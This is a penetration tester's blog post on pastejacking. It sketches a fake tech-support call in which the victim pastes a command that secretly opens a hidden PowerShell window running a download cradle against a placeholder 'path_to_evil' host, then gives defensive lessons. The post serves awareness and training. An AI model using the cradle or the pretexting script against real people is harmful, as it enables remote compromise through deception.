Pastejack – Attacking from the clipboard

Our goal as penetration testers is to learn how malicious hackers operate to compromise the confidentiality, integrity and / or availability of their victims in the real-world and integrate those attacks into our engagements.  This gives our clients the most realistic experience possible so that they’re able to quickly identify an attack when it happens and respond appropriately. When I read the article on Pastejacking below, the first thing that came to mind was someone posing as technical support luring a victim to copy / paste a seemingly innocent command (directory listing, netstat output, etc.) that also spawned a Powershell download cradle to launch an exploit. I imagine the scenario going something like this:

The Attack

  • The user is contacted by a malicious hacker posing as technical support.
  • The malicious hacker is able to build a believable pretext (perhaps by scouring the companies website and then the users social media profiles to see that the victim’s computer is always slow, etc.) and build a quit rapport with the victim.
  • The victim is still skeptical and refuses to allow the malicious hacker onto the computer, so the malicious hacker asks the user to copy / paste some text from a website (note the proof of concept link below) to make certain that there is no funny business going on.
  • Believing that they are safe by just copy / pasting what they see on the screen (and not realizing that there’s more there than meets the eye) and wanting their computer to be faster, the victim agrees and copy / pastes the contents into a command prompt window.
  • The user sees the directory listing, netstat output, etc. on the screen and doesn’t realize that a hidden Powershell window (powershell.exe -windowstyle=hidden {..evil script..}) opened immediately prior to the command prompt that launched a download cradle (IEX (New-Object Net.Webclient).DownloadString(“https://path_to_evil/script.ps1”)).  While waiting for confirmation that the payload launched, the malicious attacker has the victim read the contents of the screen.
  • Ultimately, once confirmation has been received that the malicious hacker now has remote access to the victim computer, he / she (the malicious hacker) thanks the victim for his / her time and assures him / her that IT should have all that they need to diagnose and resolve the problem with slowness and will respond as soon as they have a resolution, noting that it could be a couple of days to a week.
  • At this point, the malicious hacker has remote access to the computer and a foothold into the network and up to a week before the victim asks IT about their findings.

The Fallout

  • After a week with no response, the victim will most likely reach out to IT to get an update on the matter.
  • IT will confirm that they did not make the call and may realize that this was an attack (unfortunately, not always).
  • If the attack is identified, the victim computer will often be formatted and reinstalled immediately, with no forensic investigation done to determine a) what happened or b) if or how far the malicious attacker was able to pivot further into the network.
  • If the malicious hacker was able to pivot further / deeper into the network and gain persistence on additional hosts, reformatting the point of entry does nothing to eliminate the threat but destroys the tracks of how the attack started.

The Lessons

  • Train users to practice good opsec / infosec (don’t post things on social media that a malicious hacker could use to build a believable pretext).
  • Make certain that you have a way to authenticate IT to your staff and your staff to IT that can’t easily be determined by social engineering.  As for a supervisor’s name or talk about a company event, etc.  Just something that would be very obvious to the employee but not at all obvious to an outsider.
  • Empower your users to hang up if they think that a call may be malicious.  On a number of engagements, I have pushed the envelope beyond what I thought was reasonable but the employee / target did not hang up but ultimately relented and gave in because I basically bullied them into doing something that they probably knew better than to do.  They were afraid to hang up on me (a complete stranger) because I threatened to tell their boss they were not cooperating.  Make sure that your employees know that, if they smell a rat, they can hang up.

The good news here though is that this still requires user / human interaction so, with training, this is avoidable.


  • Pastejacking –
  • Proof of Concept –
  • Powershell Weaponization –

Leave a Reply